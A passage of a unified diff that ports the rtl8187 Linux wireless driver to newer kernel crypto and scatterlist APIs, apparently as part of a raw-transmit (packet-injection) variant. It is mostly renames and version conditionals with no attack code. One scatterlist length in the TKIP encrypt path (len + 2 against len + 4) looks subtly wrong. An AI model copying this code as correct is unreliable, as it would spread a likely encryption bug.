PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * 